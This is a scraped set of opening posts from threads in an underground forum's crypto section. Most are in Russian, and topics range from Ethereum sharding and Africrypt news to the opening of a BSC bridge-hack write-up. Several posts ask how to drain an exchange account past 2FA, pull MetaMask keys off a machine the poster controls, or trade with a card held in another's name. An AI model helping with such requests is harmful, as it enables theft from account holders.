,"crypto":{"cipher":"aes-128-ctr","ciphertext"
Это все что я могу дать. К какому кошельку принадлежит часть строки, (Был открыт в блокноте просто)
Это эфир, балик есть хороший, но куда его импортировать хз.

p2p bybit
ID: 67686ad7b4103b69df3796ff
Thread ID: 119456
Created: 2024-07-23T16:57:37+0000
Last Post: 2024-07-23T21:11:41+0000
Author: Kjiop4real
Replies: 2 Views: 642

купить/продать крипту на p2p через левую карту можно?
могут возникнуть проблемы с выводом и пополнением?
карта на другое имя
ищу знатоков

Вопрос, как попасть в первый блок и получить первое подтверждение
ID: 67686ad7b4103b69df3799e7
Thread ID: 56334
Created: 2021-09-06T08:36:46+0000
Last Post: 2021-09-07T11:55:31+0000
Author: binrs
Replies: 23 Views: 642

Вы получатель BTC
Вам отправили транзакцию с самой маленькой комиссией (1 сатоши)
Как не ждать полдня и ускорить ее так, чтобы попасть в первый блок мемпула и получить подтверждение в первую минуту?

Продолжение из темы: https://xss.is/threads/56332

Need new exchanger
ID: 67686ad7b4103b69df3798de
Thread ID: 77208
Created: 2022-12-02T16:44:15+0000
Last Post: 2022-12-02T20:22:33+0000
Author: deadadam
Replies: 4 Views: 640

Need alternative to catbit where XMR under 800$ can still be exchanged. Any recommendations?

Как снимается 2фа на биржах ?
ID: 67686ad7b4103b69df379972
Thread ID: 65860
Created: 2022-04-19T17:35:57+0000
Last Post: 2022-04-26T18:37:13+0000
Author: avia
Replies: 12 Views: 634

Имею на руках инфу по холдеру и лог пасс без кук ,возможно слить его ?

Запаздывание катировок
ID: 67686ad7b4103b69df379a30
Thread ID: 49942
Created: 2021-03-27T20:32:12+0000
Last Post: 2021-03-27T20:32:12+0000
Author: depositor
Replies: 0 Views: 634

Приветствую! Скажите пожалуйста,есть ли сейчас брокеры, у которых котировки запаздывают?
Или как получить приемущество в пару сек

Биржа ByBit и P2P и завышенный курс на $
ID: 67686ad7b4103b69df379784
Thread ID: 108030
Created: 2024-02-11T19:48:35+0000
Last Post: 2024-02-21T12:42:27+0000
Author: Django777
Replies: 17 Views: 634

В разделе P2P продажа наткнулся на частые объявления , где люди скупают $ от 100к рублей по курсу 120 рублей за $ ! И вот стало мне интересно , откуда такой ценник сумасшедший ! Льют грязь ? Скам , но как ? Как еще обьяснить такой выгодный курс ))) Ваше мнение , господа знатоки !? Гугл пишет , что это переводы с кол центров работающих по РУ

MetaMask
ID: 67686ad7b4103b69df37978d
Thread ID: 105495
Created: 2024-01-10T16:20:43+0000
Last Post: 2024-02-15T18:10:53+0000
Author: user_47
Replies: 7 Views: 634

Всем привет!

Подскажите, где поискать на компе приватные ключи для MetaMask, которые можно потом попытаться расшифровать и получить доступ к кошельку на другом устройстве?

Какое расширение у нужного файла?

Кошелёк установлен как расширение в хроме у виндовой машины. Доступа к кошельку нету. Только к машине.

Весь гугл уже перелистал. Там какая то лажа про экспорт через кнопку с тремя точечками.

Проблема Wasabi Wallet
ID: 67686ad7b4103b69df379795
Thread ID: 103634
Created: 2023-12-06T19:02:08+0000
Last Post: 2024-02-07T22:21:11+0000
Author: Shn1fer
Replies: 9 Views: 634

Доброго времени суток!
Друзья, такая ситуация.
Получил BTC на Wasabi Wallet случайно включил функцию "coinjoin".
Отправил 2 транзакции. Они висят, статус "pending" уже 3-е с лишним суток.
Иконка Privacy 0% (это статус coinjoin'a)
У кого было? Что в итоге? Проблема решаемая?

Кто шарит, напишите в pm какие какие есть решения, отблагодарю.

Шардинг Ethereum, а что дальше?
ID: 67686ad7b4103b69df3798c1
Thread ID: 80049
Created: 2023-01-16T06:13:29+0000
Last Post: 2023-01-16T06:13:29+0000
Author: вавилонец
Prefix: Статья
Replies: 0 Views: 633

Специально для XSS.IS
$600 на SSD ---> bc1qhavqpqvfwasuhf53xnaypvqhhvz966upnk8zy7
Мануал по крипте бесплатный, можно начинать без опыта /совсем/ -> https://xss.is/threads/73652/

1135138.jpg

Шардинг — это разделение блокчейна на несколько частей с индивидуальными атрибутами. Шардинг решает проблему масштабируемости, постоянную проблему блокчейнов. Чтобы лучше понять функцию сегментирования для блокчейна и почему это важно, давайте сначала рассмотрим трилемму блокчейна.

Трилемма блокчейна

В блокчейнах существует проблема баланса между безопасностью, масштабируемостью и децентрализацией цепочки. Попытка улучшить один из них приводит к ухудшению двух других. Это называется трилеммой блокчейна. Децентрализация может работать до тех пор, пока есть достаточное количество узлов, в которых есть все записи цифровой книги. Однако по мере роста объема хранения данных и использования блокчейна, а также увеличения его объема возникает проблема поддержания постоянной скорости транзакций, чтобы сделать блокчейн адаптируемым к растущему количеству транзакций.

trillema.png
Проблема в том, что в Proof of Work после создания блока информация о новом блоке должна обновляться каждым майнером. Но есть тысячи узлов, которые нужно обновить и подтвердить адаптацией. Это отнимает время и энергию. Именно здесь вступает в действие шардинг, повышающий масштабируемость наиболее эффективным способом с минимальными недостатками.
Что такое шардинг в блокчейне?
Шардинг — это метод распределения баз данных, направленный на улучшение масштабируемости систем блокчейна. И, теоретически, шардинг дает блокчейну возможность бесконечно масштабироваться, навсегда сводя к минимуму задержку. Поскольку узлам нужно обрабатывать меньше данных, а не хранить всю книгу, это делает консенсус более управляемым и поддерживает постоянную скорость транзакций. Ethereum 2.0 является одним из первых, кто использует этот метод масштабирования и планирует разделить себя на 1+63 сегмента. После разделения каждый блокчейн будет иметь свои собственные смарт-контракты и определенные атрибуты. Это сделает эти осколки различимыми и аутентичными по сравнению с другими осколками. Таким образом, при совершении транзакции узлы будут знать, какие шарды участвуют в записи транзакции.

Screenshot_2023-01-16_00-33-25.png

Шардинг — сложный процесс, который необходимо тщательно спланировать, поскольку часто невозможно отменить шардинг из-за его полезности и постоянной необходимости.

Зачем нужен шардинг?

Блокчейн Ethereum позволяет совершать около 40 транзакций в секунду. Эта скорость транзакций намного меньше, чем у некоторых других традиционных систем транзакций. Например, Visa может разрешить 24 000 транзакций в секунду. В блокчейне Ethereum 2.0 люди могут добавлять ставки, чтобы их транзакции обрабатывались раньше других ожидающих транзакций. Эта стоимость торгов может достигать 50 долларов, а это означает, что если вы хотите отправить актив на сумму 20 долларов в Ethereum, вам придется заплатить 50 долларов. Это ограничивает логическое использование блокчейна, поскольку было бы крайне непрактично использовать блокчейн для небольших транзакций. Небольшое количество разрешенных транзакций также приводит к задержке, а в ситуации, когда транзакция должна быть неизбежной, задержка может вызвать множество проблем.
Хорошая аналогия для понимания шардинга
Представьте себе блокчейн как шоссе, по которому за секунду проезжает определенное количество автомобилей. По мере того, как город становится более многолюдным, количество транспортных средств, использующих дорогу, будет увеличиваться, и через определенное время это вызовет пробки, превратив 20-минутную поездку в часовую. В этот момент в игру вступает шардинг. Чтобы позаботиться о трафике, можно построить параллельные дороги с той же пропускной способностью, что и первая дорога. Количество осколков (добавленных дорог) сократит трафик.

Минусы шардинга
У шардинга есть несколько минусов или недостатков, в том числе:

А сейчас соотнесем то что мы сейчас прочитали к Etherеum непосредственно.

Когда мы говорим об Ethereum 2.0 или ETH2, есть ключевой элемент, характеризующий это обновление. Блокчейн попрощался с майнингом ETH и реализовал на стейкинг ETH.
Ethereum 2.0 претерпел изменения — теперь он называется Ethereum Merge (слияние). Процесс перехода от старого алгоритма к новому называют “слиянием”, форком криптовалюты. Существует два независимых блокчейна Ethereum:

  1. Proof of Work (PoW) - использовался до форка
  2. Proof of Stake (PoS) - используется после форка

Давайте кратко резюмируем основные понятия, чтобы двигаться дальше:

Proof of Work
Алгоритм, позволяющий заниматься майнингом, т.е. обеспечивать работу сети криптовалюты с помощью оборудования (видеокарты, асики и т.д.). Этот алгоритм подвергся критике - он использует много электроэнергии, загрязняет окружающую среду и т.д. Дословно: “доказательство работы”. Т.е. доказательство работы оборудования.
Proof of Stake
Алгоритм, позволяющий заниматься стейкингом - получением вознаграждения за владение криптовалютой. При стейкинге криптовалют вы зарабатываете средства, храня монеты или токены в своем кошельке. Нужно делать взнос на фиксированный период времени. Дословно: “доказательство владения”. The Merge Процесс объединения текущей основной сети Ethereum с системой Proof of Stake (Beacon Chain).

Резюмируя
Proof of Work (система 1.0) - это устаревший механизм консенсуса, позволяющий добывать Ethereum на видеокартах. Proof of Stake - новый механизм, который позволит “майнить” Эфириум с помощью стейкинга - получения пассивного дохода от размещения своих активов.

Существуют следующие отличия двух сетей:

  1. Эффективность — Эфириум станет на 99,95% более энергоэффективным. Предполагается, что для защиты сети с помощью Proof of Stake больше не потребуется 77,53 ТВтч. Это мощность потребления целой страны - Чили
  2. Sharding6 — сеть будет разбита на 18 «шардов» (осколков), работающих одновременно. Это резко повысит скорость работы.
  3. Стейкинг7 — Ethereum перейдет на консенсус Proof-of-Stake, где каждый сможет размещать активы и помогать защищать сеть, зарабатывая на этом.
  4. Безопасность. Дискредитация сети станет намного дороже при использовании Proof-of-Stake. Это снизит шанс проведения атаки 51%

Ethereum 2.0 — это обновление протокола блокчейна Ethereum, которое уже частично реализовано. Эфириум 2.0, который теперь называется «уровнем консенсуса», находится в разработке уже несколько лет.
В блокчейне 2.0 ресурсоемкий метод майнинга должен уступить место так называемому методу стейкинга.

В отличие от Биткоина, при использовании подхода Proof of Stake сеть соответственно использует меньше ресурсов, но также менее децентрализована.

Даты

  1. Этап 0 — запуск сети Beacon Chain (запущена 01.12.2020)
  2. Этап 1 - Слияние (завершено 15.09.2022 в 9:42)
  3. Этап 2 – Шардинг (последует после первого этапа).

Beacon Chain (ранее известный как «Eth2») уже работает. Этот слой консенсуса уже существует как отдельная цепочка от существующей основной сети (то есть «уровень выполнения», ранее известный как «Eth1»).
Слияние Ethereum завершилось 15.09.2022 в 9:42. Однако такое всеобъемлющее изменение не может произойти в одну контрольную дату. Соответственно, разработчики решили разделить это изменение на несколько этапов. Ожидается, что переход продолжится до 2023 года. Тем не менее с обновлением разработчики решают две фундаментальные проблемы блокчейна:

Ethereum 2.0: Как работает и почему это важно?

1. Внесите депозит в 32 ETH для запуска стейкинга
Для поддержания работы сети и получения дохода требуется покупка определенного количества криптовалюты, необходимого для стейкинга.
Основная статья: [Стейкинг Ethereum 2.0](https://miningsoft.org/ru/guide/eth- staking)
2. Станьте валидатором сети
Стейкинг замораживает ваши криптоактивы и выдает проценты за поддержку безопасности сети. Вы становитесь валидатором.
Сеть ETH 2.0 выбирает того участника, который проверяет следующий блок, исходя из того, сколько монет поставлено валидатором.

3. Получайте доход, защищая сеть​

Для поддержания работы сети в Ethereum 2.0 придуман стимул - выплата процентов за размещение своих активов. Стейкеры размещают активы для проверки нового блока в сети блокчейн. Если блок является ошибочным, то сумма стейкинга будет "урезана". Если блок выступает валидным (верным), то стейкер получит обратно поставленные активы и дополнительное вознаграждение.

Смотрите видео: Обновление Ethereum ETH 2.0 Минусы Proof-of-Stake, Что Такое Хардфорки простыми словами

Вознаграждение за стейкинг будет зависеть от суммы монет — чем она выше, тем ниже процент. Основываясь на текущем объеме застейканного ETH, доходность стейкинга после слияния оценивается примерно в 10%.
Но вполне вероятно, что после успешного слияния объемы застейканных монет радикально возрастут, что приведет к снижению вознаграждения. По прогнозам, в долгосрочной перспективе доходы за стейкинг снизятся до 4-5%.

Что такое Ethereum 2.0 — «Слияние» и зачем оно нужно?​

ETH 2.0 ни в коем случае не является новой криптовалютой. Технически говоря, это даже не хардфорк, как это было, когда в результате появились две разные криптовалюты - Ethereum и Ethereum Classic (ETC).
Вместо новой монеты, Eth 2.0 описывает серию обновлений предыдущей версии Ethereum. Официальное название Ethereum 2 — Serenity8.
update

Обновления сети.

Это обновление полезно, потому что оно приносит 3 ключевые функции:

  1. Повышение эффективности сети
  2. Увеличение пропускной способности
  3. Повышение безопасности сети

Таким образом, Eth 2.0 представляет собой описание многочисленных обновлений. Поэтому важно, чтобы мы взглянули на классический Ethereum, с которым мы знакомы. Тогда мы сможем понять, почему это обновление вообще происходит. Ethereum был создан как платформа для децентрализованных приложений (dApps). Используя смарт- контракты, разработчики могут создавать приложения на блокчейне Ethereum.
Поскольку эти приложения зависят от функционирующей и эффективного блокчейна используемой платформы, уязвимости Ethereum могут привести к тому, что разработчики перенесут свои децентрализованные приложения на другие платформы. Далее расскажем о том, какие именно уязвимости задействованы и почему обновление до Ethereum 2 так важно. А так же про отказ от майнинга.

Почему майнинг больше не актуален?
Биткойн и Эфириум, два крупнейших блокчейна на рынке, имеют одну общую черту — алгоритм с доказательством работы (Proof of Work). Проще говоря, майнинг. И у этого алгоритма есть принципиальный недостаток - майнинг требует вычислительных мощностей. Высокий уровень производительности требует соответствующей энергии.

footprints_1Ежегодные выбросы CO₂ по данным @digiconomist.ne
Данные показывают, что только ежегодные выбросы CO₂ составляют 45 мегатонн, что эквивалентно всем ежегодным выбросам Гонконга.

footprints_2
https://miningsoft.org/assets/images/guide/merge/footprints_2.png
Затраты на транзакции по данным @digiconomist.ne

Годовая потребность сети в энергии составляет 80,95 ТВтч. Это соответствует электроэнергии, нужной домашнему хозяйству США за 7,03 дня.
Но на этом воздействие на окружающую среду не заканчивается, ведь ежегодно образуются килотонны электронных отходов (платы видеокарт, электронные компоненты).
PoW чрезвычайно энерго затратен и больше не соответствует нынешнему духу времени. Решение - конец майнинга и начало POS эпохи.
Соответственно, энергоемкий алгоритм proof-of-work заменяется энергоэффективным алгоритмом proof-of-stake.
2.0Блокчейн остановит майнинг на GPU.
С другой стороны, шардинг также считается одним из актуальных обновлений. Можно предположить, что блокчейн Ethereum в том виде, в каком он существует сегодня, впоследствии перестанет существовать.

Майнинг после слияния

Существует проект, претендующий быть сетью Ethereum для майнинга. EthereumPow - это оригинальная сеть Ethereum на основе PoW. Ее разрабатывает анонимные разработчики. Похоже, они из Китая.
ethwСообщество @ETHW на сайте medium.
Старт майнинга начнется со следующих блоков:

Code:Copy to clipboard

eth.blockNumber: 15471668 networkid: 0x1
eth.blockNumber: 15471669 networkid: 0x2711
eth.blockNumber: 15471669 networkid: 0x2711

Читайте подробнее что такое ETHPoW (Ethereum PoW) и как его майнить?
Доверять ли проекту EthereumPow (ETHW) решать вам. Это выходит за рамки нашего исследования.

Здесь вы можете ознакомиться со списком монет для майнинга после слияния ETH 2.0

Автоматический переход с ETH на майнинг ETC до обновления

Чтобы сделать автоматический переход на ETC, когда отключится ETH пул, вам нужно установить lolMiner 1.57+.

Добавьте etc: в Extra Config HiveOs:

Code:Copy to clipboard

--pool etc:eu1-etc.ethermine.org:4444 --user 0x85Df244a3C8d6442225360bE681B7F7D803c0e78

etc_hive

Для RaveOS:

etc_rave

Это позволит продолжить майнинг KASPA и ETC.
Это можно использовать для дуал майнинга KASPA или ALPH или простого ETC.
Если вам нужен SSL, просто добавьте ssl:// перед etc:

Code:Copy to clipboard

--pool ssl://etc:eu1-etc.ethermine.org:4444 --user 0x85Df244a3C8d6442225360bE681B7F7D803c0e78

Что нужно делать при хардфорке?​

Хорошая новость заключается в том, что разработчики уделяют обновлению особое внимание, чтобы не создавать трудностей для пользователей Ethereum. Это означает, что вам не придется ничего активно делать до конца обновления.
Существуют разные сценарии для существующих держателей ETH:
Пока вы просто держите, торгуете или используете ETH в своих приложениях, вам нечего делать не нужно. В этом случае ваши депозиты будут автоматически переведены на Eth2.
Если вы хотите начать делать стейкинг в Ethereum 2.0, вы уже можете участвовать. Можно присоединиться к сети в качестве валидатора в любое время, если у вас есть 32 ETH для депозита.

Что делать, если нет 32 ETH?

Можно начать стейкинг на бирже Binance от 0,1 ETH.

pos_32.0

Часто задаваемые вопросы​

В этом разделе вы найдете ответы на самые важные вопросы об обновлении Ethereum 2.0.

Когда выйдет ETH 2.0?​

Релиз версии 2.0 состоялся 15 сентября 2022 года в 9:42 утра (GMT+3).

Сколько будет стоить Ethereum 2.0?​

По мнению аналитиков DigitalCoinPrice, к 2023 ETH может стоить в среднем 2274,64 доллара.

Что такое Эфириум 2.0?​

ETH2 описывает серию обновлений платформы Ethereum и связанной с ней криптовалюты Ether (ETH). В нее входит стейкинг, шардинг и proof of stake.

Что изменилось с Eth 2.0?​

Ethereum 2.0 изменил способ обработки транзакций и создания новых монет. Проект изменил алгоритм с "доказательства работы" на "доказательство доли".

Зачем нужен Эфириум 2.0?​

Сеть Ethereum больше не может эффективно справляться с нагрузкой транзакций. Это приводит к чудовищно высоким комиссиям. Разработчики надеются, что это изменение приведет к более быстрым транзакциям, более низким комиссиям и лучшему экологическому балансу.

Где купить Эфириум 2.0?​

Поскольку это не новая криптовалюта, вы можете «купить» Eth 2.0 везде, где можно купить Ethereum. Однако, пока обновление еще не завершено, некоторые криптобиржи предлагают возможность получить выгоду от размещения Eth 2.0 прямо сейчас. Поэтому некоторые биржи будут показывать вам Ethereum и Ethereum 2.0. На биржах ваши монеты будут заблокированы до завершения обновления. Конечно, вы также можете переместить свой ETH в ETH 2.0, сделав стейкинг самостоятельно.

Является ли Ethereum 2.0 новой монетой?​

Ethereum 2.0 не является новой монетой и не изменит количество оригинального ETH, которым вы владеете.

Получу ли я аирдроп при форке?​

Анонсирован форк, который останется на Proof of Work. Этот форк создает еще одну монету (ETHW). Любой адрес, который ранее имел ETH, впоследствии будет иметь ETHW.

Сколько стоят монеты ETHW?​

В настоящее время на эту новую монету торгуются фьючерсы. Посмотреть текущую цену можно на [бирже Poloniex](https://www.coingecko.com/en/coins/ethereum- pow-on-poloniex).

Получу ли я монеты автоматически в Ledger?​

Да. Однако новые монеты также должны поддерживаться программным обеспечением кошелька, чтобы иметь к ним доступ. Но скорее всего с помощью нескольких настроек будет легко получить доступ к этим монетам

А если монеты на бирже?​

Дальше все зависит от того, поддерживает ли биржа новые монеты ETHW или нет. Почти все крупные биржи объявили, что будут раздавать форк-койны.

Получу ли я форк, если сделаю стейкинг?​

Нет. Монеты стейкинга не имеют значения в цепочке PoW.

Что будет с майнингом?​

Мы верим в майнинг и будем продолжать искать новые возможности. Уже анонсировано несколько хардфорков для майнинга. Майнинг доказал свою жизнеспособность годами.

Как подготовиться к POS?​

Обновите прошивку аппаратных кошельков заранее. Если вы храните средства на биржах, то ничего делать не нужно.

Что будет с выплатами ETH из пулов?​

Каждый майнинг пул предоставляет информацию о выплатах на своем сайте. Убедитесь, что вы успеете вывести средства на свой кошелек.

Что майнить после POS?​

Криптовалют для майнинга после перехода Эфириума на новый алгоритм консенсуса более чем достаточно. Все они указаны в подробном материале портала bytwork.com

Где хранить Ethereum после перехода на POS?​

Используйте только официальные кошельки для хранения. Со списком кошельков можно ознакомиться на сайте.

В этой статье использовал материал: https://halborn.com/what-is-sharding/ и https://miningsoft.org/ru/guide/merge/

Что я думаю про это сам - все эти технические моменты не подвластны моему влиянию, поэтому их надо Понять, Принять и Простить))), но под конец 2022 года, как обладатель эфира и развивающийся в этом направлении человек, я чуть- чуть призадумался, когда увидел что эфир упал аж до $1100 с копейками, но момент написания этой статьи, снова вижу что $1575 радует мой глаз и как сулят "эксперты в этом вашем интернете" должен дойти до $4500. Будем ждать и ... ломать, конечно же, только стереотипы своего мышления.

Public key Ethereum
ID: 67686ad7b4103b69df3799d6
Thread ID: 50354
Created: 2021-04-06T15:01:17+0000
Last Post: 2021-10-25T22:23:13+0000
Author: Chigurh
Replies: 1 Views: 629

Подскажите на правильном ли я пути?)
Мне нужен паблик ключ иду [сюда](https://www.massmux.com/private-and-public- keys-on-ethereum/) потом сюда или есть более простые варианты? Спасибо

Bitcoin might drop
ID: 67686ad7b4103b69df379a03
Thread ID: 54739
Created: 2021-08-03T02:52:22+0000
Last Post: 2021-08-03T16:16:39+0000
Author: splintkry
Replies: 8 Views: 628

Bitcoin might drop. how do you plan on saving your money??

Виртуальная карта для личного пользования!
ID: 67686ad7b4103b69df379880
Thread ID: 83643
Created: 2023-03-12T11:19:23+0000
Last Post: 2023-03-28T17:11:26+0000
Author: Couley Erma
Replies: 6 Views: 627

Если кому-то нужна карта для оплаты google/netflix/amazon и так далее эта тема для вас. Замечу, что оплатить подписку например кинопоиска(как сервиса яндекса) ей не получится, но с этим справляется любая ваша ру карта. Ориентирована именно на покупку в сервисах, которые не принимают ру карты. Ссылка на скачивание https://play.google.com/store/apps/details?id=com.pyypl для ведра, для ios сами найдете, не юзаю уж извините.
Процесс регистрации прост, нам понадобится номер телефона, документ и селфи. Вериф происходит довольно таки быстро. Выдается карта с бином 537492 судя по всему какой-то банк финляндии. Можно перевыпустить карту, выпустить новую, заморозить временно или навсегда закрыть. Пополняется карта наличными/дебетовой картой/ваучер/криптой/банковским переводом(скрин 1).
Нас интересует только пополнение криптой, остальные способы как мне кажется точно не для нас(скрин 2). Если у вас есть бинанс, выбираем Binance, переходим на страницу авторизации на сайт бинанса и пополняем карту нужной суммой, комиссия там копеечная. Если бинанса нету выбираем Light wallets-пополнение- Connect wallets. Я лично использую для этого Trust wallet, но на выбор предлагаются многие кошельки, те что у вас предустановлены на телефоне, кошелек один раз коннектится и далее просто пополняете тизерами бинанса, не забываем, понадобится bnb на комиссию(сеть bsc).
Ранее была возможность с карты обратно отправлять деньги на кошелек, она и сейчас имеется, но часты рефаунды и ничего не происходит, с чем это связано не знаю, если кто-то будет использовать, попробуйте и напишите как у вас с этим обстоит дело.
Сервисы которые не используют 3ds как например гугл с этими все ясно, платеж проходит и хорошо. Если же сервис требует 3ds, вы получите уведомление с кодом. Если уведомления барахлят, зайдите в приложение и там увидите код.
Есть возможность отправлять деньги как пользователям pyypl так и посредством международных переводов. Тут же имеется вывод в крипту, работает через раз, с чем связано не знаю.
На этом все, если есть вопросы-задавайте.

кто с токенами дружит? нужно обменять
ID: 67686ad7b4103b69df3799f0
Thread ID: 55451
Created: 2021-08-17T19:16:13+0000
Last Post: 2021-08-28T13:51:25+0000
Author: ndfl
Replies: 4 Views: 625

Приветствую , кто с токенами на ты, может продать, бывают редкие и не очень, пока в теме новичок, поэтому нужна помощь знающего, работаем до 1к$ 50/50, выше 1к$ 70% мои.
телега @sports_betting_forever

Блокировка почты для аутентификации Blockchain
ID: 67686ad7b4103b69df379744
Thread ID: 112789
Created: 2024-04-18T13:21:45+0000
Last Post: 2024-04-21T10:18:14+0000
Author: sect adept
Replies: 10 Views: 622

Столкнулся с проблемой. Для входа на кошелек блокчейн в качестве так скажем 2х кратной аутентификации использовал почту протонмеил.
Почту заблокировали и протон отказывает в ее возврате (знаю, что протон говно, но блокировать его было не за что).
Итог: не могу войти на кошелек и распорядиться валютой, есть возможные подсказки, что делать. В общении с поддержкой блокчейн пока не общался, боюсь сказать им что-то не то.

**Monero Smart Contract**
ID: 67686ad7b4103b69df37982e
Thread ID: 90960
Created: 2023-06-20T11:22:57+0000
Last Post: 2023-07-03T07:41:38+0000
Author: Elysium
Prefix: Статья
Replies: 2 Views: 614

The integration of smart contracts in Monero: an exploration of the sidechain based on the Stacks ** protocol **

** Introduction **

Confidentiality and security are fundamental characteristics of Monero, a cryptocurrency based on the cryptonote protocol. Although Monero does not natively support intelligent contracts, there are opportunities to integrate this functionality via sidechains. In this article, we will explore in detail a proposal for the integration of smart contracts in Monero using a sidechain based on the Stack protocol. We will present in -depth proof of concept (POC) with concrete examples of algorithms to illustrate the capacities of this solution.

** Sidechains and Stacks Protocol **

Sidechains are independent block chains that can be connected to a main blockchain. They make it possible to develop and perform specific features without compromising the integrity of the main blockchain. In our case, we propose to create a sidechain for Monero which supports intelligent contracts.

The Stacks protocol, also known as Stacks 2.0, is a blockchain protocol that is built on the Bitcoin network. It allows you to perform smart contracts using an approach called "proof of transfer". We will use the Stacks protocol as a basis for our sidechain compatible with Monero.

**** Integration of smart contracts in the Sidechain Monero-Stacks **

1. Creation of the Sidechain Monero-Stacks:** The first step is to develop a sidechain based on the stacks protocol which supports intelligent contracts. This sidechain will be designed to be compatible with Monero, respecting its confidentiality and security requirements. Specific features for intelligent contracts, such as Clarity programming language, will be integrated into Sidechain.

2. Atomic Swaps: To allow the interaction between the Sidechain Monero- Stacks and the Monero Blockchain, we will use atomic Swaps. Atomic Swaps allow the exchange of cryptocurrencies between different blockchains without requiring confidence intermediaries. Thus, users will be able to exchange XMR (Monero units) for specific tokens of Sidechain Monero-Stacks for the use of intelligent contracts.

3. Development and execution of intelligent contracts: developers will be able to create intelligent contracts using the Clarity programming language specific to Sidechain Monero-Stacks. These contracts can be deployed and executed on Sidechain, while guaranteeing data confidentiality thanks to the characteristics of Monero.

**** Proof of concept (POC) ****

To demonstrate the capabilities of the Sidechain Monero-Stacks, we have developed a proof of concept based on a concrete use case: an intelligent lottery contract. In this lottery, participants can buy

Tickets in exchange for specific tokens of the Sidechain Monero-Stacks.

The intelligent lottery contract uses a random selection algorithm to designate a winner among the participants. We will use the pseudo-random number generation algorithm (PRNG) of stacks to guarantee the equity and transparency of the selection. Once the winner is determined, the reward tokens are securely transferred to the winner's address, while preserving confidentiality thanks to Monero.

We will provide a detailed example of the implementation of the PRNG algorithm in the intelligent lottery contract, using the Clarity programming language. We will demonstrate how participants can interact with the contract, buy tickets, and how the contract performs the random selection process to determine the winner.

Conclusion

The integration of intelligent contracts in Monero represents an interesting challenge due to the emphasis on confidentiality and security. The use of a sidechain based on Stacks protocol offers a promising solution to meet this challenge. The Sidechain Monero-Stacks would allow Monero users to take advantage of the features of intelligent contracts while retaining the advantages of confidentiality inherent in Monero.

The proof of concept presented in this article provides a concrete example of the use of intelligent contracts in the Sidechain Monero-Stacks, by highlighting the implementation of a smart lottery contract with a random selection algorithm. However, it is important to note that this POC is purely hypothetical and does not necessarily reflect real developments in the field of Monero.

As technology is evolving and new solutions are emerging, it is essential to conduct in -depth research and rigorous tests to guarantee the reliability, confidentiality and safety of the integration of intelligent contracts in Monero. This will create a dynamic and confidentiality ecosystem, offering endless possibilities to users and developers.

Note: Integration proposed in this article are purely hypothetical and do not completely reflect real developments in the field of Monero. They are presented for illustration and exploration purposes.

Основатели криптобиржи Africrypt украли биткойнов на 3,6 миллиарда долларов
ID: 67686ad7b4103b69df379a13
Thread ID: 53295
Created: 2021-06-25T07:03:57+0000
Last Post: 2021-06-25T07:03:57+0000
Author: peacemaker
Replies: 0 Views: 613

1624604596500.png

Два родных брата из Южной Африки, создавшие в 2019 году инвестиционную платформу Africrypt, провернули одну из самых крупных афер с цифровой валютой за последнее время.
Двое основателей южноафриканской платформы Africrypt для криптовалютных инвестиций, братья 17-летний Амир и 20-летний Раис Кейджи, пропали вместе с крупной суммой в биткоинах, сообщает Bloomberg.

Двумя братьями из Южной Африки были украдены биткоины на сумму $3,6 миллиарда, которые инвесторы вложили в их платформу Africrypt. В юридической фирме Кейптауна заявили, что они не могут определить местонахождение мошенников. Элитное подразделение «Ястребы» уже присоединились к поиску преступников. Есть мнение, что мошенники попробуют обменять похищенную криптовалюту.

Компания Africrypt работала с состоятельными клиентами и знаменитостями, обещая прибыль до 10% в сутки. Раис Кейджи называл себя «гуру криптовалюты»: он говорил инвесторам, что узнал о биткоине в 2009 году в возрасте восьми лет, когда с отцом смотрел новости; еще в школе он начал майнить криптовалюту эфириум, а затем создал торговую платформу на основе искусственного интеллекта, которая «способствовала астрономическому росту Africrypt». Многие клиенты инвестировали больше 100 тысяч долларов, а вложения некоторых достигали $1,4 млн.

Когда в апреле цена биткойна достигла пика, главный операционный директор отправил клиентам Africrypt заявление по электронной почте. В нем говорилось, что компания была взломана, и онлайн-кошельки оказались под угрозой.

Выяснилось, что братья-похитители уехали из Южной Африки в Великобританию вскоре после взлома.

Подробнее: https://www.securitylab.ru/news/521645.php

Binance Smart Chain Token Bridge Hack
ID: 67686ad7b4103b69df37986e
Thread ID: 86262
Created: 2023-04-19T21:12:14+0000
Last Post: 2023-04-19T22:20:33+0000
Author: Marcus Aurelius
Prefix: Статья
Replies: 1 Views: 609

ОРИГИНАЛЬНАЯ СТАТЬЯ: [Binance Smart Chain Token Bridge

Hack](https://swarm.ptsecurity.com/binance-smart-chain-token-bridge-hack/)​

ПЕРЕВЕДЕНО для XSS.is by Marcus Aurelius

bin_1-min.png

Предыстория

6 октября 2022 года bridge BSC Token Hub (далее BSC), принадлежащий крупнейшей криптовалютной бирже Binance, был взломан. Это был один из крупнейших криптовалютных взломов в истории. BSC обеспечивает взаимодействие между блокчейном Binance Beacon Chain, используемым Binance для децентрализованного управления (стейкинг, голосование), и Binance Smart Chain, блокчейном, совместимым с EVM, используемым для создания различных децентрализованных приложений. Хакеры вывели 2 миллиона BNB (криптовалюта Binance) из bridge- протокола, причем 1 BNB на тот момент стоил 293 доллара. В общей сложности было украдено 586 миллионов долларов.

Технические аспекты

Блокчейн-мосты используются для передачи данных и активов между разнородными блокчейнами. Они выступают в качестве посредников при отправке транзакций, поэтому доверие к транзакции, отправленной с блокчейна А на блокчейн В, зависит от моста между А и В. Чтобы доверять транзакции, предоставленной блокчейном А, мост должен ее подтвердить. В зависимости от логики моста существует несколько способов проверки транзакций, но все они зависят от способа записи и хранения данных в блокчейне, то есть от древовидной структуры представления данных.

Каждый узел двоичного дерева представляет собой конкатенацию хэшей двух его дочерних узлов. Конечные узлы дерева, соответствующие транзакциям, добавленным в блокчейн, называются листьями, а верхние корневые узлы - корнями. Такая древовидная структура представления данных называется деревом двоичного поиска и позволяет легко проверить легитимность (авторство) и целостность данных, записанных в любом из узлов дерева. Зная хэш проверяемых данных и значения промежуточных узлов, использованных при вычислении хэша корня, можно выполнить доказательство Меркла: начиная с нижней части узла, проверить правильность каждого последующего хэша, вплоть до корня. Любое асхождение будет свидетельствовать о том, что данные в узле были подделаны.

bin_2.png
Двоичное дерево хэшей

Как работает проверка транзакций BSC

Для проверки транзакций мост BSC использует сбалансированное дерево AVL - разновидность дерева двоичного поиска. Для каждого узла этого дерева высота двух его ветвей отличается не более чем на 1. Алгоритм проверки вызывается в функции handlePackage основного [смарт-контракта CrossChain](https://github.com/bnb-chain/bsc-genesis- contract/blob/c184a00160b6a2d884b4d6efebe1358a047e9e57/contracts/CrossChain.sol), который обрабатывает переводы токенов между блокчейнами.

binf.png
